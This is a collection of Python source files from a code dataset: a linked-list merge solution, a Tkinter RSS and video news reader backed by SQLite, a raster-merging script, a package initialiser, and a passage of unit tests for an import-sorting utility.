+{"seq_id":"299689160","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param a list of ListNode\n # @return a ListNode\n def mergeKLists(self, lists):\n def find_pos(node, nodes, start, end):\n if start == end:\n return start\n i = start + (end - start) / 2\n if nodes[i].val > node.val:\n return find_pos(node, nodes, start, i)\n elif nodes[i].val < node.val:\n return find_pos(node, nodes, i + 1, end)\n return i\n head = None\n heads = sorted([h for h in lists if h is not None],\n key=lambda node: node.val)\n while len(heads) > 0:\n min_node = heads[0]\n heads.pop(0)\n next = min_node.next\n if next is not None:\n i = find_pos(next, heads, 0, len(heads))\n heads.insert(i, next)\n if head is None:\n head = min_node\n head.next = None\n p = head\n else:\n p.next = min_node\n p = p.next\n p.next = None\n return head\n","sub_path":"merge-k-sorted-lists.py","file_name":"merge-k-sorted-lists.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"282748327","text":"#!/usr/bin/env python3\n\nimport io\nimport re\nimport sqlite3\nimport requests\nimport threading\nimport subprocess\nimport feedparser\nimport webbrowser\nimport html.parser\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter.messagebox import askyesno, showerror\nfrom pathlib import Path\nfrom tkinter.scrolledtext import ScrolledText\nfrom PIL import Image, ImageTk\n\n\nstyle = {\n 'news.viewer.text': {\n 'bg': '#000000',\n 'fg': '#2eff7b',\n 'font': ('roboto', 16, 'normal')\n }\n}\n\n\nclass StreamlinkViewer(threading.Thread):\n def __init__(self, url, quality='worst', **kwargs):\n super().__init__()\n\n # self.daemon = True # powoduje dziwne zawieszenia po kilku odtworzeniach filmów\n\n self._url = url\n self._quality = quality\n\n self._on_start = kwargs['on_start'] if 'on_start' in kwargs else None\n\n def run(self):\n self._run_streamlink(self._url, self._quality)\n\n def _run_streamlink(self, url, quality='worst'):\n # run process in blocking mode\n with subprocess.Popen(['streamlink', url, quality, '-p', 'mpv'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL) as p:\n while p.stdout:\n # read lines from stdout\n l = p.stdout.readline()\n if l == b'':\n break\n\n # if certain line is detected then stop blocking main window\n if b'Writing stream to output' in l:\n if callable(self._on_start):\n self._on_start()\n\n\nclass NewsParser(html.parser.HTMLParser):\n def __init__(self):\n super().__init__()\n self._text = ''\n\n self._processed_tags = [] # debug\n\n def handle_endtag(self, tag):\n if tag not in self._processed_tags:\n print(f'Unprocessed tag: {tag}')\n\n def handle_starttag(self, tag, attrs):\n if tag == 'br':\n self._text += '\\n'\n\n self._processed_tags = ['br'] # debug\n\n def handle_data(self, data):\n self._text += data\n\n def get_text(self):\n return self._text.strip()\n\n\nclass AboutDialog(tk.Toplevel):\n def __init__(self, master):\n super().__init__(master)\n self.transient(master)\n self.title('About')\n self.bind('', self._on_ok_button)\n\n label = tk.Label(self, text='Authors:')\n label.pack(fill=tk.X)\n\n text = tk.Text(self)\n text.insert(tk.END, '''Authors:\n- jaroslaw.janikowski@gmail.com (programming)\n- www.freepik.com(icons) ''')\n text['state'] = tk.DISABLED\n text.pack(fill=tk.BOTH, expand=True)\n\n self._ok_button = tk.Button(self, text='OK', command=self._on_ok_button)\n self._ok_button.pack(anchor=tk.E)\n\n self.wait_visibility()\n self.grab_set()\n self.wait_window()\n\n def _on_ok_button(self, event=None):\n self.grab_release()\n self.destroy()\n\n\nclass FolderDialog(tk.Toplevel):\n def __init__(self, master):\n super().__init__(master)\n self.title('Add / edit folder')\n self.transient(master)\n self.bind('', self._on_cancel)\n self._result = None\n\n tk.Label(self, text='Folder title').pack(fill=tk.X, padx=2)\n self._folder_title_entry = tk.Entry(self)\n self._folder_title_entry.bind('', self._validate)\n self._folder_title_entry.pack(fill=tk.X, padx=2)\n self._folder_title_entry.focus()\n\n button_cancel = tk.Button(self, text='Cancel', command=self._on_cancel)\n button_cancel.pack(fill=tk.X, padx=2)\n\n self._button_ok = tk.Button(self, text='Ok', state=tk.DISABLED, command=self._on_apply)\n self._button_ok.pack(fill=tk.X, padx=2)\n\n def _on_apply(self, event=None):\n self._result = {\n 'title': self._folder_title_entry.get()\n }\n self.destroy()\n\n def _validate(self, *args):\n b = bool(self._folder_title_entry.get())\n self._button_ok['state'] = (tk.NORMAL if b else tk.DISABLED)\n\n def _on_cancel(self, event=None):\n self._result = None\n self.destroy()\n\n def run(self):\n self.grab_set()\n self.wait_window()\n self.grab_release()\n return self._result\n\n\nclass ChannelDialog(tk.Toplevel):\n def __init__(self, master):\n super().__init__(master)\n self.title('Add / edit channel info')\n self.transient(master)\n self.bind('', self._on_cancel)\n\n self._result = False # naciśnięto escape lub cancel\n\n tk.Label(self, text='Channel title').pack(fill=tk.X, padx=2)\n self._channel_title_entry = tk.Entry(self)\n self._channel_title_entry.bind('', self._validate)\n self._channel_title_entry.pack(fill=tk.X, padx=2)\n self._channel_title_entry.focus()\n\n tk.Label(self, text='URL').pack(fill=tk.X, padx=2)\n self._channel_url_entry = tk.Entry(self)\n self._channel_url_entry.bind('', self._validate)\n self._channel_url_entry.pack(fill=tk.X, padx=2)\n\n button_cancel = tk.Button(self, text='Cancel', command=self._on_cancel)\n button_cancel.pack(fill=tk.X, padx=2)\n\n self._button_ok = tk.Button(self, text='Ok', state=tk.DISABLED, command=self._on_apply)\n self._button_ok.pack(fill=tk.X, padx=2)\n\n def _validate(self, *args):\n self._autopopulate_form()\n\n b = all([\n self._channel_title_entry.get(),\n self._channel_url_entry.get()\n ])\n\n self._button_ok['state'] = (tk.NORMAL if b else tk.DISABLED)\n\n def _autopopulate_form(self):\n url = self._channel_title_entry.get()\n\n # link do kanału youtube\n m = re.match(r'^https:\\/\\/www\\.youtube\\.com\\/channel\\/([a-zA-Z0-9_\\-]+)$', url)\n if m is not None:\n channel_id = m.group(1)\n self._channel_url_entry.delete(1, tk.END)\n self._channel_url_entry.insert(tk.END, f'https://www.youtube.com/feeds/videos.xml?channel_id={channel_id}')\n self._channel_title_entry.delete(1, tk.END)\n self._channel_title_entry.insert(tk.END, channel_id)\n return True\n\n # link do usera youtube\n m = re.match(r'^https:\\/\\/www\\.youtube\\.com\\/user\\/([a-zA-Z0-9_\\-]+)$', url)\n if m is not None:\n user_id = m.group(1)\n self._channel_url_entry.delete(1, tk.END)\n self._channel_url_entry.insert(tk.END, f'https://www.youtube.com/feeds/videos.xml?user={user_id}')\n self._channel_title_entry.delete(1, tk.END)\n self._channel_title_entry.insert(tk.END, user_id)\n return True\n\n def _on_cancel(self, event=None):\n self._result = None\n self.destroy()\n\n def _on_apply(self, event=None):\n self._result = {\n 'title': self._channel_title_entry.get(),\n 'url': self._channel_url_entry.get()\n }\n self.destroy()\n\n def set_data(self, channel):\n self._channel_title_entry.set(channel['title'])\n self._channel_url_entry.set(channel['url'])\n\n def run(self):\n self.grab_set()\n self.wait_window()\n self.grab_release()\n return self._result\n\n\nclass ProgressDialog(tk.Toplevel):\n def __init__(self, master):\n super().__init__(master)\n # self.geometry('640x480')\n self.title('Operation progress...')\n self.transient(master)\n self.bind('', self._on_escape)\n\n progress_label = tk.Label(self, text='Progress')\n progress_label.grid(row=0, column=0, sticky=tk.EW, padx=2, pady=2)\n self._progressbar = ttk.Progressbar(self, value=0)\n self._progressbar.grid(row=1, column=0, sticky=tk.EW, padx=2, pady=2)\n self._text = tk.Text(self)\n self._text.grid(row=2, column=0, sticky=tk.EW, padx=2, pady=2)\n cancel_btn = tk.Button(self, text='Cancel', command=self._on_escape)\n cancel_btn.grid(row=3, column=0, sticky=tk.E, padx=2, pady=2)\n\n self.columnconfigure(0, weight=1)\n\n def _on_escape(self, event=None):\n self.destroy()\n\n def set_position(self, pos, msg=None):\n self._progressbar['value'] = pos\n if msg:\n self._text.insert(tk.END, msg+'\\n')\n self._text.see(tk.END)\n\n def show(self):\n self.deiconify()\n self.wait_visibility()\n self.grab_set()\n # self.wait_window()\n\n def destroy(self):\n self.withdraw()\n self.grab_release()\n super().destroy()\n\n\nclass WaitDialog(tk.Toplevel):\n def __init__(self, master):\n super().__init__(master)\n self.withdraw()\n self.title('Proszę czekać...')\n self.geometry('250x120')\n self.transient(master)\n self.bind('', self._on_escape)\n\n label = tk.Label(self, text='Operacja w toku, proszę czekać...')\n label.pack(side=tk.TOP, fill=tk.X, expand=True)\n\n def _on_escape(self, event=None):\n self.hide()\n\n def show(self):\n self.deiconify()\n self.wait_visibility()\n self.grab_set()\n # self.wait_window()\n\n def hide(self):\n self.grab_release()\n self.withdraw()\n\n\nclass Application(tk.Tk):\n def __init__(self):\n super().__init__()\n self.geometry('640x480+100+100')\n self.title('news')\n self.bind('', self._on_quit)\n\n self.config(menu=self._create_main_menu())\n\n self._load_resources()\n\n paned_h = ttk.PanedWindow(self, orient=tk.HORIZONTAL)\n paned_h.add(self._create_channel_manager(paned_h), weight=0)\n paned_h.add(self._create_news_viewer(paned_h), weight=1)\n paned_h.pack(fill=tk.BOTH, expand=True)\n\n self._db_connection = sqlite3.connect(Path.home() / '.config' / 'news' / 'news.sqlite3')\n self._db_connection.row_factory = sqlite3.Row\n self._db_cursor = self._db_connection.cursor()\n # self._db_cursor.execute('pragma journal_mode=wal')\n\n self._wait_dlg = WaitDialog(self)\n self._current_news = None\n\n self._load_data()\n\n def _load_resources(self):\n self._icons = {\n 'folder': ImageTk.PhotoImage(Image.open('/usr/share/icons/news/folder.png')),\n 'rss': ImageTk.PhotoImage(Image.open('/usr/share/icons/news/rss.png')),\n 'youtube': ImageTk.PhotoImage(Image.open('/usr/share/icons/news/youtube.png')),\n 'twitch': ImageTk.PhotoImage(Image.open('/usr/share/icons/news/twitch.png')),\n 'like': ImageTk.PhotoImage(Image.open('/usr/share/icons/news/like.png'))\n }\n\n def _load_data(self):\n # dodaj foldery\n folders = {}\n for row in self._db_cursor.execute('select * from folder').fetchall():\n i = self._channel_manager_treeview.insert('', tk.END, text=row['title'], image=self._icons['folder'])\n folders[row['id']] = i\n self._channel_manager_folders[row['title']] = i\n self._channel_manager_title_type[row['title']] = 'folder'\n\n # dodaj kanały\n self._db_cursor.execute('select channel.*, (select count(id) from news where channel_id = channel.id and is_read = 0) as news_count from channel')\n for row in self._db_cursor.fetchall():\n parent_id = ''\n if row['folder_id'] is not None:\n parent_id = folders[row['folder_id']]\n\n # wybór ikony ze względu na źródło danych\n icon = None\n if 'youtube' in row['url']:\n icon = self._icons['youtube']\n elif 'twitch' in row['url']:\n icon = self._icons['twitch']\n else:\n icon = self._icons['rss']\n\n i = self._channel_manager_treeview.insert(parent_id, tk.END, row['id'], text=row['title'], image=icon, values=(row['news_count'],))\n self._channel_manager_channels[row['title']] = i\n self._channel_manager_title_type[row['title']] = 'channel'\n\n def _create_channel_manager(self, master):\n self._channel_manager_channels = {}\n self._channel_manager_folders = {}\n self._channel_manager_title_type = {}\n\n frame = tk.Frame(master, width=200)\n self._channel_manager_treeview = ttk.Treeview(frame, columns=('#news-count',))\n self._channel_manager_treeview.column('#news-count', width=40, stretch=tk.YES)\n self._channel_manager_treeview.grid(row=0, column=0, sticky=tk.NSEW)\n scrollbar_v = tk.Scrollbar(frame, orient=tk.VERTICAL)\n scrollbar_v.grid(row=0, column=1, sticky=tk.NS)\n scrollbar_h = tk.Scrollbar(frame, orient=tk.HORIZONTAL)\n scrollbar_h.grid(row=1, column=0, sticky=tk.EW)\n\n self._channel_manager_treeview['yscrollcommand'] = scrollbar_v.set\n self._channel_manager_treeview['xscrollcommand'] = scrollbar_h.set\n scrollbar_v['command'] = self._channel_manager_treeview.yview\n scrollbar_h['command'] = self._channel_manager_treeview.xview\n\n # drag and drop\n self._dragged_item = None\n self._channel_manager_treeview.bind('', self._on_channel_manager_button_press)\n self._channel_manager_treeview.bind('', self._on_channel_manager_button_release)\n self._channel_manager_treeview.bind('', self._on_channel_manager_motion)\n\n frame.rowconfigure(0, weight=1)\n frame.columnconfigure(0, weight=1)\n\n return frame\n\n def _on_channel_manager_button_press(self, event):\n self._dragged_item = self._channel_manager_treeview.identify_row(event.y)\n\n def _on_channel_manager_button_release(self, event):\n target = self._channel_manager_treeview.identify_row(event.y)\n\n # target nie może trafić do samego siebie\n if target == self._dragged_item:\n return 'break'\n\n # target musi być folderem\n if target not in self._channel_manager_folders.values():\n return 'break'\n\n self._channel_manager_treeview.move(self._dragged_item, target, tk.END)\n\n # zmiana folderu w bazie\n folder_title = tuple(k for k, v in self._channel_manager_folders.items() if v == target)[0]\n channel_title = tuple(k for k, v in self._channel_manager_channels.items() if v == self._dragged_item)[0]\n self._db_cursor.execute('update channel set folder_id = (select id from folder where title = ? limit 1) where title = ?', (folder_title, channel_title))\n\n def _on_channel_manager_motion(self, event):\n self._channel_manager_treeview['cursor'] = 'plus'\n\n def _create_news_viewer(self, master):\n frame = tk.Frame(master)\n self._news_viewer_title = tk.Text(frame, wrap=tk.WORD, height=3, state=tk.DISABLED, cursor='hand1', **style['news.viewer.text'])\n self._news_viewer_title.bind('', self._on_goto_news)\n self._news_viewer_title.grid(row=0, column=0, sticky=tk.NSEW)\n\n self._vote_up_btn = tk.Button(frame, text='0', command=self._on_vote_up, image=self._icons['like'], compound=tk.LEFT)\n self._vote_up_btn.grid(row=0, column=1, sticky=tk.NSEW)\n\n self._news_viewer_text = ScrolledText(frame, wrap=tk.WORD, state=tk.DISABLED, **style['news.viewer.text'])\n self._news_viewer_text.bind('', self._on_up_key)\n self._news_viewer_text.bind('', self._on_down_key)\n self._news_viewer_text.grid(row=1, column=0, columnspan=2, sticky=tk.NSEW)\n\n frame.rowconfigure(0, weight=0)\n frame.rowconfigure(1, weight=1)\n frame.columnconfigure(0, weight=1)\n frame.columnconfigure(1, weight=0)\n\n return frame\n\n def _on_vote_up(self, event=None):\n channel_title = self._current_news['channel_title']\n text = f'{channel_title} {self._current_news[\"title\"]} {self._current_news[\"summary\"]}'.lower()\n\n r = self._recommend_count_words(text)\n self._recommend_update_words(r)\n for word in r:\n self._recommend_update_quality(word)\n\n # uaktualnij wartość na przycisku\n self._current_news = self._db_cursor.execute('select news.*, channel.title as channel_title from news join channel on news.channel_id = channel.id where news.id = ? limit 1', (self._current_news['id'],)).fetchone()\n self._vote_up_btn['text'] = self._current_news['quality']\n\n def _on_down_key(self, event=None):\n self._news_viewer_text.yview_scroll(1, 'units')\n\n def _on_up_key(self, event=None):\n self._news_viewer_text.yview_scroll(-1, 'units')\n\n def _create_main_menu(self):\n menubar = tk.Menu(self, tearoff=False)\n\n app_menu = tk.Menu(self, tearoff=False)\n app_menu.add_command(label='Update all', command=self._on_update_all, accelerator='Ctrl-U')\n self.bind('', self._on_update_all)\n app_menu.add_separator()\n app_menu.add_command(label='Quit', command=self._on_quit, accelerator='Ctrl-Q')\n self.bind('', self._on_quit)\n menubar.add_cascade(label='App', menu=app_menu)\n\n channel_menu = tk.Menu(self, tearoff=False)\n channel_menu.add_command(label='Add channel', command=self._on_add_channel, accelerator='Ctrl-N')\n self.bind('', self._on_add_channel)\n channel_menu.add_command(label='Add folder', command=self._on_add_folder, accelerator='Ctrl-Shift-N')\n self.bind('', self._on_add_folder)\n channel_menu.add_command(label='Remove', command=self._on_remove_channel_or_folder, accelerator='Del')\n self.bind('', self._on_remove_channel_or_folder)\n menubar.add_cascade(label='Channel', menu=channel_menu)\n\n news_menu = tk.Menu(self, tearoff=False)\n news_menu.add_command(label='Next', command=self._on_next_news, accelerator='N')\n self.bind('n', self._on_next_news)\n news_menu.add_command(label='Goto', command=self._on_goto_news, accelerator='G')\n self.bind('g', self._on_goto_news)\n news_menu.add_command(label='Streamlink worst', command=self._on_streamlink_worst, accelerator='1')\n self.bind('1', self._on_streamlink_worst)\n news_menu.add_command(label='Streamlink 360p', command=self._on_streamlink_360p, accelerator='2')\n self.bind('2', self._on_streamlink_360p)\n news_menu.add_separator()\n news_menu.add_command(label='Mark all as read', command=self._on_mark_all_as_read, accelerator='Ctrl-M')\n self.bind('', self._on_mark_all_as_read)\n menubar.add_cascade(label='News', menu=news_menu)\n\n help_menu = tk.Menu(self, tearoff=False)\n help_menu.add_command(label='About', command=self._on_about)\n\n menubar.add_cascade(label='Help', menu=help_menu)\n\n return menubar\n\n def _on_about(self, event=None):\n dlg = AboutDialog(self)\n\n def _on_mark_all_as_read(self, event=None):\n self._db_cursor.execute('update news set is_read = 1')\n for channel_title, channel_iid in self._channel_manager_channels.items():\n self._channel_manager_treeview.set(channel_iid, '#news-count', 0)\n\n def _on_streamlink_360p(self, event=None):\n if self._current_news:\n self._wait_dlg.show()\n v = StreamlinkViewer(self._current_news['url'], '360p', on_start=self._wait_dlg.hide)\n v.start()\n\n def _on_streamlink_worst(self, event=None):\n if self._current_news:\n self._wait_dlg.show()\n v = StreamlinkViewer(self._current_news['url'], 'worst', on_start=self._wait_dlg.hide)\n v.start()\n\n def _on_goto_news(self, event=None):\n if self._current_news:\n webbrowser.open_new_tab(self._current_news['url'])\n\n def _on_next_news(self, event=None):\n # oznacz poprzedni aktywny news jako przeczytany\n if self._current_news:\n self._db_cursor.execute('update news set is_read = 1 where id = ?', (self._current_news['id'],))\n\n # zmniejsz o 1 ilość nieprzeczytanych newsów w tym kanale\n tree_item = self._channel_manager_treeview.selection()[0]\n news_count = int(self._channel_manager_treeview.set(tree_item, '#news-count')) - 1\n if news_count >= 0:\n self._channel_manager_treeview.set(tree_item, '#news-count', news_count)\n\n # znajdź kolejny news\n news = self._db_cursor.execute('select news.*, channel.title as channel_title from news join channel on channel.id = news.channel_id where is_read = 0 order by quality desc limit 1').fetchone()\n\n self._current_news = news\n\n if news is None:\n return 'break'\n\n self._set_news(news)\n\n def _set_news(self, news):\n '''Wybiera news jako aktywny w programie. Parametr to słownik z bazy z tabeli news.'''\n # zaznacz i pokaż kanał w drzewie kanałów\n sel_item = self._channel_manager_channels[news['channel_title']]\n self._channel_manager_treeview.selection_set(sel_item)\n self._channel_manager_treeview.see(sel_item)\n\n # parsuj HTML\n parser = NewsParser()\n parser.feed(news['summary'])\n\n # załaduj treść do przeglądarki\n self._news_viewer_text['state'] = tk.NORMAL\n self._news_viewer_text.delete('1.0', tk.END)\n self._news_viewer_text.insert(tk.END, parser.get_text())\n self._news_viewer_text.mark_set(tk.INSERT, '1.0')\n self._news_viewer_text['state'] = tk.DISABLED\n self._news_viewer_title['state'] = tk.NORMAL\n self._news_viewer_title.delete('1.0', tk.END)\n self._news_viewer_title.insert(tk.END, news['title'])\n self._news_viewer_title['state'] = tk.DISABLED\n self._vote_up_btn['text'] = news['quality']\n\n # zaznacz kontrolkę z treścią aby łatwo przewijać za pomocą strzałek\n self._news_viewer_text.focus()\n\n def _on_remove_channel_or_folder(self, event=None):\n selection = self._channel_manager_treeview.selection()\n if selection is None:\n return\n\n selected_id = selection[0]\n title = self._channel_manager_treeview.item(selected_id, option='text')\n type_ = self._channel_manager_title_type[title]\n\n if not askyesno('Question', f'Do you really want to remove {title}?'):\n return\n\n # usuń z bazy\n if type_ == 'folder':\n # nie można usuwać nie pustych folderów\n if self._channel_manager_treeview.get_children(selected_id):\n showerror('Error', 'Could not remove non empty folder.')\n return\n\n self._db_cursor.execute('delete from folder where title = ?', (title,))\n elif type_ == 'channel':\n self._db_cursor.execute('delete from channel where title = ?', (title,))\n self._db_cursor.execute('delete from news where channel_id = (select channel.id from channel where channel.title = ?)', (title,))\n\n # usuń z listy\n self._channel_manager_treeview.delete(selected_id)\n del self._channel_manager_title_type[title]\n\n def _on_add_folder(self, event=None):\n dlg = FolderDialog(self)\n data = dlg.run()\n if data:\n try:\n self._db_cursor.execute('insert into folder(title) values (?)', (data['title'],))\n item_id = self._channel_manager_treeview.insert('', tk.END, text=data['title'], image=self._icons['folder'])\n self._channel_manager_folders[data['title']] = item_id\n self._channel_manager_treeview.selection_set(item_id)\n self._channel_manager_title_type[data['title']] = 'folder'\n except:\n showerror('Error', 'Error while adding new folder.')\n\n def _on_add_channel(self, event=None):\n dlg = ChannelDialog(self)\n data = dlg.run()\n if data:\n self._db_cursor.execute('insert into channel(title, url) values (?, ?)', (data['title'], data['url']))\n\n icon = 'rss'\n if 'youtube' in data['url']:\n icon = 'youtube'\n elif 'twitch' in data['url']:\n icon = 'twitch'\n\n self._channel_manager_channels[data['title']] = self._channel_manager_treeview.insert('', tk.END, text=data['title'], image=self._icons[icon])\n self._channel_manager_title_type[data['title']] = 'channel'\n\n dlg.destroy()\n\n def _on_update_all(self, event=None):\n channels = self._db_cursor.execute('select * from channel').fetchall()\n channel_count = len(channels)\n\n dlg = ProgressDialog(self)\n dlg.show()\n\n for index, channel in enumerate(channels):\n status = ((index + 1) * 1 / channel_count) * 100\n\n dlg.set_position(status, msg=f\"Pobieram wiadomości z kanału {channel['title']}...\")\n self.update_idletasks()\n\n try:\n resp = requests.get(channel['url'], timeout=10.0)\n except:\n dlg.set_position(status, msg=f\"Nie można pobrać wiadomości dla kanału {channel['title']}.\")\n continue\n\n data = feedparser.parse(io.BytesIO(resp.content))\n news = data['items']\n\n # create list of values\n insert_values = []\n for d in news:\n # sanityzuj tytuł\n title = d['title'].replace('\\n', '')\n insert_values.append((channel['id'], d['title'], d['link'], d['summary']))\n\n # build query with placeholders\n placeholders = [\"(?, ?, ?, ?)\" for t in insert_values]\n insert_sql = f\"\"\"\n insert or ignore into news(\n channel_id,\n title,\n url,\n summary\n )\n values {','.join(placeholders)}\n \"\"\"\n\n # insert\n try:\n self._db_cursor.execute(insert_sql, [d for sublist in insert_values for d in sublist])\n except sqlite3.OperationalError as e:\n pass\n finally:\n # ustal ilość nieprzeczytanych dla tego kanału (returning nie działa dla tej wersji sqlite3)\n inserted_count = self._db_cursor.execute('select count(id) from news where channel_id = ? and is_read = 0', (channel['id'],)).fetchone()[0]\n\n # uaktualnij liczbę nieprzeczytanych w kanale\n channel_item = self._channel_manager_channels[channel['title']]\n self._channel_manager_treeview.set(channel_item, '#news-count', inserted_count)\n\n # uaktualnij wagi newsów\n dlg.set_position(100, msg='Uaktualniam rekomendacje...')\n self._recommend_update_quality_all()\n\n dlg.destroy()\n\n def _recommend_count_words(self, text):\n # usuń znaki specjalne\n spec = '~!@#$%^&*()_+{}:\"|<>?`-=[];\\'\\\\,./'\n for spec_char in spec:\n text = text.replace(spec_char, ' ')\n\n # usuń słowa 3 znakowe lub krótsze\n text = text.split()\n text = list(set([word.lower() for word in text if len(word) > 3]))\n return text\n\n def _recommend_update_words(self, words_count):\n # aktualizuj tabelę words\n for word in words_count:\n sql = 'insert into words(word, weight) values(?, 1) on conflict(word) do update set weight = weight + 1 where word = ?'\n self._db_cursor.execute(sql, (word, word))\n\n def _recommend_update_quality_all(self):\n '''Aktualizuje pole quality dla wszystkich nie przeczytanych newsów'''\n sql = \"select news.id, (channel.title || ' ' || news.title || ' ' || summary) as text from news join channel on channel.id = news.channel_id where is_read = 0\"\n q = self._db_cursor.execute(sql)\n for row in q.fetchall():\n words = list(set([f'\"{i}\"' for i in self._recommend_count_words(row['text'])]))\n words_list = f'({\",\".join(words)})'\n new_quality = self._db_cursor.execute(f'select sum(weight) from words where use = 1 and word in {words_list}').fetchone()[0]\n if new_quality is not None:\n self._db_cursor.execute('update news set quality = ? where id = ?', (new_quality, row['id']))\n\n def _recommend_update_quality(self, word):\n # znajdź wszystkie nie przejrzane zawierajace słowo\n sql = \"select news.id, (channel.title || ' ' || news.title || ' ' || summary) as text from news join channel on channel.id = news.channel_id where is_read = 0 and (channel.title || ' ' || news.title || ' ' || summary) like ? collate nocase\"\n q = self._db_cursor.execute(sql, (f'%{word}%',))\n for row in q:\n words = list(set([f'\"{i}\"' for i in self._recommend_count_words(row['text'])]))\n words_list = f'({\",\".join(words)})'\n new_quality = self._db_cursor.execute(f'select sum(weight) from words where use = 1 and word in {words_list}').fetchone()[0]\n if new_quality is not None:\n self._db_cursor.execute('update news set quality = ? where id = ?', (new_quality, row['id']))\n\n def _on_quit(self, event=None):\n if self._db_connection:\n self._db_connection.commit()\n self._db_connection.close()\n self.quit()\n\n\nif __name__ == '__main__':\n app = Application()\n app.mainloop()\n","sub_path":"news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":29262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"142850075","text":"import rasterio as rst\nimport numpy as np\nbasepath=r\"F:\\WORDWIDE_Resample\\Merge_predict_ssw\\Merge\\\\\"\ndef Union(risk,suit):\n result=np.zeros(risk.shape)\n risk[risk<=suit]=0\n suit[risk > suit] = 0\n result=risk+suit\n return result\ndef get_data(path):\n with rst.open(path, mode='r') as dst:\n suit = dst.read(1)\n profile=dst.profile\n return suit,profile\nyears=['2016','2017','2018','2019']\nmonth=['01','02','03','04','05','06','07','08','09','10','11','12']\nsuitDate=[]\nfor y in years:\n for m in month:\n suitDate.append(y+m)\nriskDate=suitDate\ndel riskDate[0]\nfor i in range(len(suitDate)):\n if suitDate[i]=='201907' or suitDate[i]=='201907' or suitDate[i]=='201910' or suitDate[i]=='201911' or suitDate[i]=='201912':\n continue\n mergepath = basepath + \"Merge\" + suitDate[i]+ '.tif'\n riskpath = basepath + \"Risk/Risk\" +riskDate[i]+ \".tif\"\n suit,profile = get_data(mergepath)\n risk,profile = get_data(riskpath)\n union=Union(risk,suit)\n with rst.open(basepath + \"Union/Union\" + riskDate[i] + \".tif\", mode='w', **profile) as dst:\n dst.write(union, 1)\n print(riskDate[i])\n\n","sub_path":"SeaWind/UninonRiskAndSuit.py","file_name":"UninonRiskAndSuit.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"160128595","text":"\n#\n# Populater -- Cross platform string syntax for reliably extracting object data\n#\n# Copyright (c) 2018, Web Heroes Inc.\n#\n# Populater is free software: you can redistribute it and/or modify it under the terms of the GNU\n# General Public License as published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version. See the LICENSE file at the top of the source\n# tree.\n#\n# Populater is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# General Public License for more details.\n#\n\n__author__ = \"Matthew Brisebois\"\n__email__ = \"matthew@webheroes.ca\"\n__copyright__ = \"Copyright (c) 2018 Web Heroes Inc.\"\n__license__ = \"Dual License: GPLv3 (or later) and Commercial (see LICENSE)\"\n\n__all__\t\t\t\t= [\"Populater\", \"isolate\"]\n\n\nimport os, sys\nimport logging\n\nscriptname\t\t\t= os.path.splitext( os.path.basename( sys.argv[0] ) )[0]\nlogging.basicConfig(\n filename\t\t\t= '{0}.log'.format(scriptname),\n level\t\t\t= logging.ERROR,\n datefmt\t\t\t= '%Y-%m-%d %H:%M:%S',\n format\t\t\t= '%(asctime)s.%(msecs).03d [ %(threadName)10.10s ] %(name)-15.15s : %(funcName)-15.15s %(levelname)-8.8s %(message)s',\n)\n\nfrom .\t\t\t\timport isolate\nfrom .populater\t\t\timport Populater\n","sub_path":"python/module/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"281714709","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, print_function, unicode_literals\nimport unittest\n\nimport mock\n\nfrom importanize.utils import (\n force_bytes,\n force_text,\n is_site_package,\n is_std_lib,\n list_split,\n list_strip,\n read,\n)\n\n\nclass TestUtils(unittest.TestCase):\n def test_is_std_lib(self):\n self.assertFalse(is_std_lib(\"\"))\n\n stdlib_modules = (\n \"argparse\",\n \"codecs\",\n \"collections\",\n \"copy\",\n \"csv\",\n \"datetime\",\n \"decimal\",\n \"fileinput\",\n \"fnmatch\",\n \"functools\",\n \"glob\",\n \"gzip\",\n \"hashlib\",\n \"hmac\",\n \"importlib\",\n \"io\",\n \"itertools\",\n \"json\",\n \"logging\",\n \"math\",\n \"numbers\",\n \"operator\",\n \"optparse\",\n \"os\",\n \"pickle\",\n \"pprint\",\n \"random\",\n \"re\",\n \"shelve\",\n \"shutil\",\n \"socket\",\n \"sqlite3\",\n \"ssl\",\n \"stat\",\n \"string\",\n \"struct\",\n \"subprocess\",\n \"sys\",\n \"sysconfig\",\n \"tempfile\",\n \"time\",\n \"timeit\",\n \"trace\",\n \"traceback\",\n \"unittest\",\n \"uuid\",\n \"xml\",\n \"zlib\",\n )\n for module in stdlib_modules:\n msg = \"{} should be stdlib\"\n self.assertTrue(is_std_lib(module), msg.format(module))\n\n self.assertFalse(is_std_lib(\"foo\"))\n\n def test_is_site_package(self):\n self.assertFalse(is_site_package(\"\"))\n\n # -- Be sure that stdlib modules are not site-packages\n stdlib_modules = (\"argparse\", \"codecs\")\n for module in stdlib_modules:\n msg = \"{} should not be sitepackages\"\n self.assertFalse(is_site_package(module), msg.format(module))\n\n # -- Be sure that fake modules are not site-packages\n self.assertFalse(is_site_package(\"foo\"))\n\n # -- These packages come from requirements-dev.txt\n site_packages_modules = (\"coverage\", \"mock\", \"rednose\", \"tox\")\n for module in site_packages_modules:\n msg = \"{} should be sitepackages\"\n self.assertTrue(is_site_package(module), msg.format(module))\n\n def test_list_strip(self):\n self.assertListEqual(\n list_strip([\" hello \", \"world\"]), [\"hello\", \"world\"]\n )\n\n @mock.patch(\"importanize.utils.open\", create=True)\n def test_read(self, mock_open):\n actual = read(mock.sentinel.path)\n\n mock_open.assert_called_once_with(mock.sentinel.path, \"rb\")\n mock_open.return_value.__enter__.return_value.read.assert_called_once_with()\n mock_open.return_value.__enter__.return_value.read.return_value.decode.assert_called_once_with(\n \"utf-8\"\n )\n\n self.assertEqual(\n actual,\n (\n 